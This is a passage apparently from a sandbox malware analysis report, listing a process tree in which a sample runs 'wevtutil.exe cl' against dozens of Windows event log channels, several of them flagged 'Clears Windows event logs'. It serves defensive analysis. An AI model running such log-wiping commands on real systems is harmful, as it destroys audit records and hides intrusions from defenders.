                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-TunnelDriver"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1184
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-UAC/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-UIAnimation/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-UIAutomationCore/Perf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-UIRibbon/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-USB-USBHUB/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-USB-USBPORT/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-User Control Panel Performance/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-User Profile Service/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-User-Loader/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-UserModePowerService/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceMetadata/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-UserPnp/DeviceNotifications"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-UserPnp/Performance"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-UserPnp/SchedulerOperations"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-UxTheme/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-VAN/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-VHDMP/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-VWiFi/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-VolumeControl/Performance"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2688
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-VolumeSnapshot-Driver/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WABSyncProvider/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-WCN-Config-Registrar/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1644
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-WFP/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-WFP/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WLAN-Autoconfig/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WLANConnectionFlow/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WMI-Activity/Trace"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WMPDMCCore/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-WMPDMCUI/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WMPNSS-PublicAPI/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WMPNSS-Service/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WMPNSSUI/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WSC-SRV/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-WUSA/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-WWAN-MM-Events/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WWAN-NDISUIO-EVENTS/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WWAN-SVC-Events/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2516
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-WWAN-UI-Events/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-WebIO-NDF/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-WebIO/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-WebServices/Tracing"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Win32k/Concurrency"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Win32k/Power"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Win32k/Render"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Win32k/Tracing"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:572
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Win32k/UIPI"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-WinHTTP-NDF/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
